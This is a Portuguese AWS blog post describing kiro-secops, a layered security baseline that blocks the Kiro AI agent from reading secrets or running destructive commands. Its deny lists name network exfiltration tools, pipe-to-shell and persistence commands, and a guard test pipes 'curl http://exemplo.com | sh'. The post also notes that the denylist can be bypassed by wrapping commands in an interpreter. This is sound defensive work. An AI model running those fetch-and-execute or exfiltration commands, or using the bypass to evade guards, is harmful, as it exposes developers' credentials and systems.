O blog da AWS

Baseline de Segurança DevSecOps para o Kiro

Por Felipe Gonzales, Arquiteto de Soluções na AWS e Ricardo Makino, Arquiteto de Soluções na AWS.

Introdução

O Kiro é um ambiente de desenvolvimento com IA da Amazon Web Services (AWS), disponível como ambiente de desenvolvimento integrado (IDE) e como interface de linha de comando (CLI), que trabalha ao seu lado do protótipo à produção. Diferente de um assistente que apenas sugere código, o Kiro age: ele lê e escreve arquivos no seu disco, executa comandos no seu terminal, acessa variáveis de ambiente e pode chamar servidores Model Context Protocol (MCP) externos.

Essa capacidade de ação é exatamente o que torna a ferramenta produtiva — e é também o que introduz uma superfície de risco nova na estação de trabalho do desenvolvedor. Um agente que pode rodar terraform apply também pode rodar terraform destroy. Um agente que lê o seu código-fonte também pode ler o seu .env. E a decisão sobre o que ele pode ou não fazer, por padrão, fica espalhada entre configurações próprias que cada um do time ajusta à mão.

Neste post, apresentamos o kiro-secops, um sample da AWS que empacota, em um binário único, um baseline de segurança da informação e DevSecOps para o Kiro. Você vai ver como ele:

  • implanta bloqueio determinístico de leitura e escrita de segredos e de comandos destrutivos;
  • automatiza verificações de segurança orientadas a evento com hooks;
  • injeta requisitos de segurança e threat model no fluxo de spec-driven development (SDD);
  • e — talvez o mais importante — permite verificar se toda essa proteção está de fato ativa.

Ao final, você terá um caminho reproduzível: instalar a camada global na sua máquina, aplicar a camada de workspace em um projeto, provar que os bloqueios funcionam e reverter tudo ao estado anterior.

Problema que estamos resolvendo

Quando um agente de IA passa a executar ações no ambiente de desenvolvimento, cinco problemas concretos aparecem — e nenhum deles se resolve com boas intenções ou com um prompt bem escrito.

  1. O agente herda todas as suas permissões. Ele roda com o seu usuário. Isso significa acesso a ~/.aws/credentials, a chaves SSH em ~/.ssh, a arquivos .env, a tokens de publicação em .npmrc, e a arquivos de estado do Terraform — que guardam segredos em texto claro. Nada disso é uma falha do Kiro: é a consequência natural de rodar como você.
  2. Confiança tende a virar binária. Por padrão, sem uma política definida, o Kiro pede aprovação para quase toda ação — e, sob pressão de prazo, a saída de menor esforço é silenciar os prompts liberando tudo de uma vez (uma regra allow ampla ou um perfil como o allow-all). O próprio Kiro trata isso como um risco de projeto: a documentação de permissões descreve o modelo capability-based justamente como substituto dos antigos modelos de confiança binária, oferecendo controle granular por capacidade com efeitos deny/ask/allow e resolução por restritividade (deny > ask > allow). A ferramenta dá o mecanismo; escrever uma política que seja um meio-termo real entre “aprovo cada passo” e “aprovo tudo” continua sendo com você — e é essa lacuna que o baseline preenche.
  3. Conteúdo externo é uma entrada não confiável. O agente lê arquivos do repositório, resultados de busca na web e respostas de servidores MCP. Qualquer um desses canais pode conter texto redigido para parecer instrução. Um controle que dependa apenas da interpretação do modelo é, por definição, frágil diante desse cenário.
  4. Configuração manual diverge com o tempo. Cada desenvolvedor ajusta o seu permissions.yaml, um esquece o kiroignore, outro nunca configurou hook nenhum. Sem um padrão comum, a segurança do time passa a ser a do elo mais fraco. Pior: não há como responder com objetividade à pergunta “o guardrail está ligado nesta máquina?”.
  5. Segurança entra tarde. A revisão de segurança acontece depois que o código está escrito — quando corrigir é caro. No modelo de spec-driven development do Kiro, existe um momento muito mais barato para agir: o instante em que o requirements.md e o design.md são criados.

O kiro-secops ataca os cinco pontos com uma premissa de projeto: declarative-first. O bloqueio duro vive em configuração declarativa avaliada nativamente pelo Kiro, sem depender de runtime, de sistema operacional ou da cooperação do modelo. Hooks automatizam verificações por evento. Steering e skills orientam. Cada mecanismo faz o que é capaz de garantir — e o projeto é explícito sobre o que cada um não garante.

Arquitetura

A solução se organiza em duas dimensões: onde o artefato é implantado e quão forte é a garantia que ele oferece.

Figura 1: modelo em camadas, da garantia mais forte à orientação mais suave. As camadas 1 a 3 são bloqueio declarativo avaliado nativamente pelo Kiro; a 4 é bloqueio orientado a evento; as 5 e 6 orientam sem bloquear.

Camada global (~/.kiro/). O padrão que segue a pessoa em todos os projetos: permissions.yaml, kiroignore, arquivos de steering, a skill de revisão de segurança, o agente revisor e o próprio binário em ~/.kiro/bin/. Instala-se uma vez por máquina.

Camada de workspace (.kiro) do projeto. O padrão do repositório, que se move com o código e vale para o time: hooks de evento, configurações de scanners (Trivy, Checkov, Gitleaks), .pre-commit-config.yaml e um workflow de Integração Contínua (CI). Vai versionada no repositório.

Como conflitos são resolvidos. Quando mais de uma regra se aplica à mesma ação, vale sempre a mais restritiva: deny tem prioridade sobre ask, que por sua vez tem prioridade sobre allow. Uma regra mais permissiva nunca sobrepõe uma mais restritiva, em nenhum escopo — então um projeto não consegue afrouxar o que a camada global bloqueou. E, quando nenhuma regra corresponde à ação, o padrão é ask: na ausência de decisão explícita, o Kiro pergunta em vez de liberar.

Por ordem decrescente de força de garantia, os mecanismos são:

Mecanismo Garantia Natureza
permissions.yaml Bloqueia ou exige confirmação, avaliado nativamente pelo Kiro Determinística, independente de agente, multiplataforma
Hooks PreToolUse + runtime guard Bloqueia por evento, antes de a ferramenta ser executada Determinística, fail-closed
scan + gate de CI Faz o build falhar diante de achados Determinística
Skill + agente revisor Aponta e explica; não bloqueia Advisory (assistida por IA)
Steering Orienta a geração de código Advisory

Do lado da engenharia, o instalador é um binário Go único (Go ≥ 1.25, biblioteca padrão mais gopkg.in/yaml.v3 que já vem junto no binário, CGO_ENABLED=0), com o baseline embutido via //go:embed e compilação cruzada para cinco alvos (macOS, Linux e Windows, em amd64/x86_64 e arm64). Não há runtime, interpretador ou gerenciador de pacotes a instalar.

Três decisões de implementação merecem destaque, porque é nelas que está a diferença entre um script de conveniência e uma ferramenta que você deixa mexer no seu $HOME:

  • Escrita confinada. Toda escrita passa por uma raiz segura baseada em os.Root, que rejeita symlink em qualquer componente do caminho — não apenas no alvo final, o que também mitiga Time-of-Check to Time-of-Use (TOCTOU) — e grava de forma atômica (arquivo temporário, fsync, rename) preservando o modo original.
  • Manifesto de posse e transação. O instalador registra o SHA-256 de cada artefato que criou ou alterou e faz backup write-ahead antes de sobrescrever. Falha no meio do caminho gera rollback; não existe estado parcial. É esse manifesto que permite ao uninstall restaurar o estado anterior byte a byte, em vez de apagar arquivos por adivinhação de nome.
  • Merge estrutural, não textual. O permissions.yaml e o kiroignore são mesclados estruturalmente: apenas os itens marcados como gerenciados são inseridos ou substituídos, e as suas regras próprias permanecem intactas. Nada de interpolação de string em arquivo de configuração.

Deep dive na solução

Contexto

A camada de contexto define, de forma declarativa, o que o agente vê e o que ele pode fazer. É onde vive a garantia mais forte.

O permissions.yaml é avaliado nativamente pelo Kiro. Cada regra combina uma capability (fs_read, fs_write, shell, web_fetch, web_search, mcp, entre outras), um padrão de correspondência e um efeito. Três propriedades do modelo são especialmente relevantes para segurança:

  • Resolução por restritividade: deny > ask > allow. Uma regra mais permissiva nunca sobrepõe uma mais restritiva, independentemente do escopo de onde ela vem.
  • Padrão seguro: quando nenhuma regra corresponde, o comportamento é ask.
  • Comandos compostos são divididos: o Kiro analisa o comando antes de casar padrões e avalia cada subcomando de ;, &&, || e | isoladamente. Isso evita que uma regra para npm test * acabe liberando npm test ; curl exemplo.com.

O baseline usa esse modelo para negar leitura e escrita de um conjunto canônico de segredos — .env e variações, secrets/, .pem, .key, chaves SSH (id_rsa, id_ed25519, id_ecdsa*), credentials, .p12, .pfx, estado do Terraform (.tfstate) e tokens de publicação (.npmrc, .pypirc) — e também para negar categorias de shell perigosas: remoção recursiva, escalonamento de privilégio, chmod -R 777, pipe para interpretador (|, sh, sh -c, eval), exfiltração de rede (curl, wget, nc, ssh, scp), git destrutivo e mecanismos de persistência (crontab, at, history -c).

Operações de alto impacto não são bloqueadas: elas recebem effect: ask e aguardam a confirmação do desenvolvedor: terraform apply, terraform destroy, kubectl delete, git push, aws s3 rm, escrita em Dockerfile, arquivos .tf e workflows de CI entram nessa categoria. A distinção importa: quando a segurança vira obstáculo, o desfecho é previsível — alguém resolve tudo com um chmod 777 e um --force, sem proteção. Melhor pedir confirmação nos pontos certos do que ser contornado em todos.

O baseline também protege os próprios guardrails, negando escrita em .kiro/settings/ e .kiro/hooks/. Vale notar que o Kiro já traz um escopo interno, que não pode ser sobreposto, e que nega ao agente a escrita em ~/.kiro/settings/, .kiro/settings/ e ~/.kiro/workspace-roots/, e exige aprovação para escritas em .git/, .kiro/agents/, .kiro/hooks/ e .kiroignore. As regras do baseline reforçam essa postura em vez de substituí-la.

Um detalhe do modelo de escopos que ajuda contra um repositório hostil: as permissões de workspace não ficam dentro do repositório, e sim em ~/.kiro/workspace-roots/<hash>/permissions.yaml, por usuário. Um repositório clonado não injeta regras de permissão na sua máquina.

A camada global é o padrão comum a todos os seus projetos, mas continua editável: como vive no ~/.kiro do próprio desenvolvedor, ele pode afrouxá-la. Para uma política que o desenvolvedor não remove — a Camada 1 da Figura 1 —, as mesmas regras deny/ask são replicadas no escopo de Administração do Kiro e distribuídas por Mobile Device Management (MDM), com correção de drift. O baseline já traz um template pronto para esse escopo (admin.yaml) e um guia de adoção em frota. É essa combinação que transforma “confio que cada máquina está configurada” em “a política é imposta pela organização e não depende da lembrança de cada um” — fechando exatamente a lacuna do “elo mais fraco”.

Complementando as permissões, o kiroignore global remove segredos e artefatos de build do contexto — ao .env é negada a leitura e ele é excluído do contexto. E três arquivos de steering (security-policies.md, api-security.md, infrastructure-security.md) carregam a política de codificação segura, com OWASP Top 10 2025 e OWASP API Security Top 10, além de controles preventivos que espelham o padrão AWS Foundational Security Best Practices (FSBP) — bloqueio de acesso público, criptografia em repouso por padrão, ausência de 0.0.0.0/0 em portas administrativas, Amazon EC2 IMDSv2 e AWS CloudTrail multirregião com validação de integridade de log.

Para cenários mais fechados, existe o perfil strict, selecionável na instalação, que nega web_fetch, nega publicação em gerenciadores de pacote e remove a lista ampla de comandos liberados — deixando o restante cair no ask padrão. Por construção, o perfil strict é um superconjunto das restrições do baseline; isso é garantido por teste automatizado, para que uma edição futura não enfraqueça o perfil que promete ser o mais rígido.

Agentes e skills

Bloqueio determinístico resolve categorias conhecidas de risco. Ele não avalia se o seu controle de acesso está correto, nem se aquela concatenação de string virou SQL injection. Essa é a função da camada assistida por IA — que é advisory por decisão de projeto, e o projeto é explícito quanto a isso.

O baseline instala um agente customizado, kiro-secops-reviewer: ele tem acesso a leitura e a shell (para executar os scanners), e nega escrita e acesso à rede nas suas permissões inline. É um revisor que não pode alterar o código que revisa — uma separação de responsabilidade que evita o padrão indesejável de o mesmo agente apontar e “consertar” silenciosamente o próprio achado. Ele também herda o mesmo deny do conjunto canônico de segredos: um revisor de segurança não precisa ler o seu .env.

O agente é acompanhado da skill kiro-secops-review, que estrutura o fluxo de revisão de aplicação: triagem por OWASP Top 10 2025, mapeamento para Common Weakness Enumeration (CWE), e OWASP Application Security Verification Standard (ASVS) nível 1. A skill carrega material de referência por linguagem (Go, Java, Node.js, Python, Rust e shell), um mapa CWE/MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) e um template de threat model STRIDE (Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege). O resultado pode ser emitido em formato Static Analysis Results Interchange Format (SARIF), o que permite levá-lo para o code scanning do seu provedor de repositório.

Em CI, esse mesmo agente roda em modo headless e somente leitura, produzindo revisão de pull request e triagem de relatórios de Dynamic Application Security Testing (DAST). O sample traz imagens de contêiner e exemplos de pipeline para GitHub Actions e GitLab CI prontos para fork.

Hooks

Hooks conectam os controles ao ciclo de vida do agente. O baseline instala seis hooks, divididos entre ações de comando (determinísticas) e ações de agente (assistidas por IA):

Hook Trigger Ação Natureza
kiro-secops-guard-shell PreToolUse kiro-secops guard bloqueia comando perigoso
kiro-secops-guard-write PreToolUse kiro-secops guard bloqueia escrita em segredo
kiro-secops-review-gate Stop prompt de revisão revisão no fim do turno
kiro-secops-scan-postexec PostTaskExec kiro-secops scan --advisory scan não bloqueante
kiro-secops-sdd-requirements PostFileCreate prompt EARS injeta requisitos de segurança
kiro-secops-sdd-threatmodel PostFileCreate prompt STRIDE injeta threat model

Os dois primeiros chamam o runtime guard, cujo fluxo de decisão está na Figura 2.

Figura 2: o runtime guard lê o contexto da chamada como JSON no stdin (1) e decide de forma determinística. As validações de entrada (2 e 3) e as três verificações de conteúdo (5, 6 e 7) convergem para o mesmo desfecho de bloqueio; só o caminho em que nenhuma verificação dispara resulta em permissão.

O guard sai com 0 para permitir e com 2 para bloquear, devolvendo a mensagem de erro ao modelo pelo stderr. A propriedade central é ser fail-closed: JSON malformado, schema desconhecido ou payload acima de 1 MiB só podem resultar em bloqueio, não em liberação silenciosa. Em vez de casar apenas expressões regulares, ele tokeniza o comando respeitando aspas, desembrulha invólucros como sudo, env e nice, e identifica recursão perigosa em rm, find e chmod.

Um cuidado de implementação que vale mencionar: ao rodar init, o binário materializa nos hooks o caminho absoluto validado do executável, em vez de confiar no PATH em tempo de execução. Isso elimina uma classe de sequestro de PATH. A contrapartida — o caminho é o da máquina que executou o init — é tratada explicitamente na seção de uso.

Os dois hooks de SDD, na nossa experiência, têm o melhor retorno sobre esforço do baseline inteiro. Quando um requirements.md nasce em .kiro/specs/, o hook garante uma seção de requisitos de segurança escrita em EARS (WHEN … THE SYSTEM SHALL …), cobrindo validação de entrada por lista de permissão, autenticação antes de autorização, segredos em cofre, criptografia em trânsito e em repouso, tratamento de erros sem vazamento de informação, log e auditoria, e limitação de taxa (rate limiting). Quando um design.md nasce, o hook garante a seção de threat model com fronteiras de confiança e análise STRIDE por componente. Segurança deixa de ser uma etapa de revisão e passa a ser parte do artefato de design.

Instalando e usando a solução

Pré-requisitos

  • Kiro instalado (IDE ou CLI), em versão de disponibilidade geral, com acesso via AWS Builder ID ou pela assinatura da sua organização.
  • macOS (arm64 e amd64), Linux (arm64 e x86_64) ou Windows (x86_64). O binário é distribuído para as cinco plataformas; os exemplos a seguir usam macOS e Linux.
  • Para compilar o binário: Go 1.25 ou superior e GNU Make. Este sample não publica releases; o binário é construído localmente a partir do código-fonte.
  • Opcional, para o comando scan: os scanners de sua preferência no PATH (Semgrep, Trivy, Gitleaks, Bandit, ShellCheck, entre outros). Ferramenta ausente é ignorada com segurança, sem falso negativo silencioso — e o modo --require-tools transforma ausência em erro operacional quando você quiser essa rigidez.
  • Não é necessário sudo. O instalador não roda como root, por design: é instalado no ~/.kiro do usuário.

kiro-secops — Fluxo de implantação: install e init

Figura 3: o baseline vive inerte no repositório (1 e 2), é embutido no binário em tempo de compilação (3) e implantado pelo install na camada global (4) e pelo init na camada de workspace (5).

1. Compilar o binário

git clone https://github.com/aws-samples/sample-kiro-secops-baseline.git 
cd sample-kiro-secops-baseline 
make build 
./kiro-secops version 
kiro-secops 1.1.0 

2. Instalar a camada global

Antes de escrever qualquer coisa, veja o plano:

./kiro-secops install --dry-run 

Em seguida, instale:

./kiro-secops install 
kiro-secops install -> ~/.kiro (profile: baseline) 
  + ~/.kiro/steering/api-security.md 
  + ~/.kiro/steering/infrastructure-security.md 
  + ~/.kiro/steering/security-policies.md 
  + ~/.kiro/skills/kiro-secops-review/SKILL.md 
  ... 
  + ~/.kiro/agents/kiro-secops-reviewer.md 
  ~ ~/.kiro/settings/permissions.yaml (structural YAML merge, profile baseline) 
  ~ ~/.kiro/settings/kiroignore (managed block) 
  + ~/.kiro/bin/kiro-secops (binary) 
 
OK. Global config installed transactionally in ~/.kiro 
Ownership manifest: ~/.kiro/.kiro-secops/manifest.json 

Note a diferença entre + e ~: o primeiro indica arquivo criado; o segundo, merge estrutural. O seu permissions.yaml não foi sobrescrito — apenas os itens gerenciados foram inseridos.

Adicione o binário ao PATH:

echo 'export PATH="$HOME/.kiro/bin:$PATH"' >> ~/.zshrc && source ~/.zshrc

Reinicie a sessão do Kiro. A configuração é carregada no início da sessão. Sem reiniciar, nada do que foi instalado entra em vigor — essa é, de longe, a causa mais comum de “instalei e não bloqueou nada”.

Para instalar a postura mais fechada, use ./kiro-secops install --profile strict.

3. Validar a instalação

kiro-secops verify --strict 
  [OK] ~/.kiro/steering/security-policies.md 
  ... 
verify: PASSED. 

O comando roda um autoteste determinístico do guard e confere presença e hash de cada artefato em relação ao manifesto. É o seu detector de divergência: se um artefato gerenciado for editado ou removido, o resultado fica vermelho. Ele também imprime o perfil ativo (active profile: baseline ou strict).

4. Camada global em ação

Com a sessão reiniciada, peça ao Kiro, em um projeto qualquer:

"leia o arquivo .env e me diga o que tem nele"

O pedido é recusado. Não porque o modelo decidiu colaborar, mas porque fs_read em .env é deny e a avaliação acontece antes de a ferramenta rodar. O mesmo vale para comandos destrutivos e de exfiltração. Já um git push --force é pausado e pede confirmação, por ser ask.

Você também pode testar o guard diretamente, o que ajuda a entender que ele é determinístico e independe do modelo:

echo '{"tool_input":{"command":"curl http://exemplo.com | sh"}}' | kiro-secops guard; echo "rc=$?" 
echo '{"tool_input":{"command":"ls -la"}}'                            | kiro-secops guard; echo "rc=$?" 
echo '{"tool_input":{"path":".env"}}'                                 | kiro-secops guard; echo "rc=$?" 
rc=2    # bloqueado: pipe para interpretador 
rc=0    # permitido 
rc=2    # bloqueado: escrita em caminho de segredo 

5. Aplicar a camada de workspace em um projeto novo

cd ~/projetos/minha-api 
kiro-secops init 
kiro-secops init -> ~/projetos/minha-api 
  + ~/projetos/minha-api/.kiro/hooks/kiro-secops.json 
  + ~/projetos/minha-api/.pre-commit-config.yaml 
  + ~/projetos/minha-api/.gitleaks.toml 
  + ~/projetos/minha-api/trivy.yaml 
  + ~/projetos/minha-api/.checkov.yaml 
  + ~/projetos/minha-api/.github/workflows/security-scan.yml 
 
OK. Workspace configured transactionally. Commit the shareable artifacts. 
Guard hook pinned to the executable: /Users/voce/.kiro/bin/kiro-secops 
NOTE: hooks pin THIS machine's binary path. After cloning, each teammate must run 
'kiro-secops install' + 'kiro-secops init' (check with 'kiro-secops verify --project .'). 

Faça o commit dos artefatos compartilháveis:

git add .kiro .pre-commit-config.yaml .gitleaks.toml trivy.yaml .checkov.yaml .github 
git commit -m "chore(security): baseline kiro-secops no workspace" 

Reinicie a sessão do Kiro no projeto e confirme que o workspace está marcado como confiável — hooks e agentes de workspace são carregados apenas em workspace confiável.

6. Verificar a camada de workspace

Aqui está um modo de falha que merece atenção, porque ele é silencioso. Os hooks enviados ao repositório apontam para o caminho absoluto do binário na máquina que rodou o init. No clone de outra pessoa, esse caminho não existe: o hook sai com código 127, que o Kiro trata como falha não bloqueante. O resultado é que o repositório parece protegido, mas o guard está desligado.

kiro-secops verify --strict --project . 
  [OK] .kiro/hooks/kiro-secops.json :: kiro-secops-guard-shell 
  [OK] .kiro/hooks/kiro-secops.json :: kiro-secops-guard-write 
  [OK] .kiro/hooks/kiro-secops.json :: kiro-secops-scan-postexec 
verify: PASSED. 

Em um clone onde ninguém rodou install e init, a mesma verificação falha de forma explícita:

[BROKEN] .kiro/hooks/kiro-secops.json :: kiro-secops-guard-shell 
[BROKEN] .kiro/hooks/kiro-secops.json :: kiro-secops-guard-write 
[BROKEN] .kiro/hooks/kiro-secops.json :: kiro-secops-scan-postexec hook commands pin executables that do not resolve on this machine — those hooks 
fail silently (guard OFF). Fix: run 'kiro-secops install' then 'kiro-secops init'. 
verify: FAILED. 

Falha ruidosa em vez de proteção aparente. Inclua kiro-secops install e kiro-secops init no onboarding do repositório, e kiro-secops verify --project . na conferência.

Uma observação sobre onde essa verificação não deve rodar: não a coloque no seu pipeline. O caminho por máquina é intencional, então um runner de CI sempre reportaria os hooks como quebrados. O gate determinístico de CI é o scan; a saúde de hook é uma verificação de estação de trabalho.

7. Usar o scan como gate

kiro-secops scan .                                    # achados bloqueiam (exit 1) 
kiro-secops scan --advisory .                         # apenas reporta (usado pelo hook) 
kiro-secops scan --format sarif --output scan.sarif . # relatório para code scanning 

O comando detecta as linguagens presentes e roda os scanners disponíveis: Semgrep, Trivy e Gitleaks sempre; Bandit e pip-audit para Python; njsscan e npm audit para Node.js e TypeScript; ShellCheck para shell. Ferramenta ausente é reportada como ignorada. Você pode limitar o tempo de cada scanner com --timeout e exigir que todos estejam presentes com --require-tools.

Um detalhe de projeto relevante para quem lida com segredos: a saída bruta dos scanners é impressa apenas no modo texto interativo. Os formatos JSON e SARIF, e qualquer escrita em arquivo, omitem essa saída — de forma que um relatório de scan nunca persista um segredo vazado.

Limpeza

Para reverter, o uninstall usa o manifesto de posse como fonte da verdade. Arquivos que existiam antes são restaurados byte a byte, com o modo original; arquivos criados pelo kiro-secops são removidos. Nada é apagado por adivinhação de nome.

kiro-secops uninstall --dry-run          # mostra o plano 
kiro-secops uninstall                    # camada global em ~/.kiro 
kiro-secops uninstall --project .        # camada de workspace (faça o commit da remoção) 

Se um artefato gerenciado foi modificado por você, a remoção é recusada para proteger a sua edição; use --force quando tiver certeza. Depois de reverter, reinicie a sessão do Kiro.

Considerações finais

Um baseline de segurança só é útil se as pessoas souberem o que ele garante — e o que não garante. Sete limites que recomendamos deixar explícitos na adoção:

  1. A denylist do guard não é um sandbox. Ela adiciona profundidade, mas é contornável (por exemplo, embrulhando o comando em um interpretador). O bloqueio agnóstico do agente é o permissions.yaml; para ambientes de missão crítica, combine com isolamento de sistema operacional.
  2. Confirmação não é função do hook. O ask vem do permissions.yaml, avaliado nativamente; o hook só decide entre permitir (exit 0) e bloquear (exit 2).
  3. A camada global é um padrão comum, não política corporativa. O ~/.kiro pertence ao usuário e pode ser editado. Para controle que o desenvolvedor não remove, replique as regras deny/ask no escopo de Administração do Kiro (planos enterprise) e distribua por MDM.
  4. A camada de IA é advisory. O agente e a skill apontam, explicam e priorizam, mas não são gate. Mantenha o humano no circuito. O que bloqueia é determinístico: permissões, guard, scan e CI.
  5. Pre-commit é contornável. Um git commit --no-verify passa por cima. É shift-left de conveniência; o gate que conta é o do pipeline, que o desenvolvedor não controla.
  6. Conteúdo externo é entrada não confiável. Você viu no início: arquivos, resultados de web e respostas de MCP podem parecer instrução — por isso os controles que importam não dependem da interpretação do modelo.
  7. Controles de conta AWS são externos ao CLI. O baseline documenta, mas não configura, os controles mínimos de segurança da sua conta (AWS Security Hub com o padrão AWS Foundational Security Best Practices (FSBP), Amazon GuardDuty, AWS CloudTrail, Amazon Inspector, AWS Secrets Manager com AWS Key Management Service (AWS KMS) e Amazon Macie). Trate-os como pré-requisito e aplique por infraestrutura como código — revisada pelo próprio baseline.

Conclusão

Agentes de IA que executam ações no ambiente de desenvolvimento pedem controles que não dependam de o modelo cooperar. Neste post, mostramos como o kiro-secops estabelece esses controles em camadas: bloqueio declarativo de leitura e escrita de segredos e de comandos destrutivos no permissions.yaml, avaliado nativamente pelo Kiro com resolução por restritividade; um guard fail-closed acionado por hooks PreToolUse; revisão de segurança assistida por IA com um agente que não pode alterar o código que revisa; requisitos de segurança e threat model injetados no momento em que o spec nasce; e um gate determinístico de scanners no pipeline.

Você viu o caminho completo: compilar o binário, instalar a camada global, provar o bloqueio na prática, aplicar a camada de workspace em um projeto, detectar o cenário em que os hooks ficariam silenciosamente desligados após um clone, e reverter tudo ao estado anterior por meio do manifesto de posse.

Dois pontos merecem ficar na memória. O primeiro é que instalação transacional, manifesto com hash e verify não são detalhes de engenharia: são o que permite responder com objetividade à pergunta “o guardrail está ligado nesta máquina?”. O segundo é que um baseline honesto sobre os seus limites é mais valioso do que um que promete isolamento. Porque as pessoas conseguem raciocinar sobre o risco residual em vez de confiar numa garantia que não existe.

Próximos passos

Escale para a organização. O que foi instalado aqui é o padrão comum a todos os seus projetos — editável, por viver no seu ~/.kiro. Para política que o desenvolvedor não remove, replique as regras de deny e ask no escopo de Administração do Kiro, disponível em planos enterprise. Como a resolução é deny > ask > allow entre todos os escopos, um allow no arquivo do usuário não anula um deny ou ask definido pela organização. O sample traz um template pronto em profiles/admin.yaml, contendo apenas o subconjunto deny/ask do baseline, e o guia completo em docs/security/ENTERPRISE.md.

Complete com a governança central. No console do Kiro, defina a lista de modelos aprovados e o modelo padrão da organização, restrinja MCP a um registro aprovado (ou desabilite), decida sobre as ferramentas web, configure a região do perfil e as chaves do AWS KMS. Conecte a identidade via AWS IAM Identity Center, Okta ou Microsoft Entra ID. Em planos enterprise, a coleta de telemetria e de conteúdo já vem desativada por padrão.

Distribua e corrija divergências. Use a sua ferramenta de MDM para levar o binário, o steering do time e a política de atualização do IDE à frota, e agende kiro-secops verify --strict nas estações. Saída diferente de zero significa divergência — o MDM reexecuta o install.

Integre com os serviços de segurança da AWS. Leve o SARIF do scan para o code scanning do seu provedor, e complemente com o Amazon Inspector e o AWS Security Hub para ter visão agregada de postura, em vez de resultados isolados por repositório.

Adapte e contribua. O baseline vive inerte sob internal/assets/payload/ e é embutido no binário em tempo de compilação — editar um arquivo e rodar make build já produz a sua versão. Os exemplos em examples/ (CI headless com revisão de PR e triagem de DAST, e o workflow de release com assinatura e provenance) são autocontidos e feitos para fork.

O código está em aws-samples/sample-kiro-secops-baseline, sob licença MIT-0.

Autores

Felipe Gonzales é Arquiteto de Soluções na AWS, apoiando clientes do setor público em sua jornada para a nuvem. Com foco em Developer Experience, IA Generativa e Segurança, possui experiência em projetos de modernização de aplicações, DevSecOps, segurança e IA para órgãos de governo e parceiros do setor público.
Ricardo Makino atualmente é Arquiteto de Soluções na AWS, apoiando os clientes do setor público em sua jornada para a nuvem. Possui mais de 20 anos de experiência em TI, onde já passou pelos setores de governo, educação e pesquisa e esteve envolvido em diversos projetos de segurança e proteção de dados, migração e modernização de plataformas, entre outros.